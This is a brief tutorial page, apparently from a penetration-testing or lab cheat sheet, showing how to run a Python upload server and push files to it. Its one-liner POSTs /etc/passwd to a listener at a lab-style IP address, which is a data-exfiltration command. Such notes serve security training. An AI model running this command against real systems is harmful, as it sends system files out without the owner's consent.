Uploading Files
Uploading Files with Python3 β Made Easy!
π Start the Upload Server
python3 -m uploadserverFile upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...β‘ Python One-Liner Upload
python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'π§ Letβs Break It Down (Line-by-Line)
π οΈ You Can Use This Anywhere
π¬ Final Thought
Last updated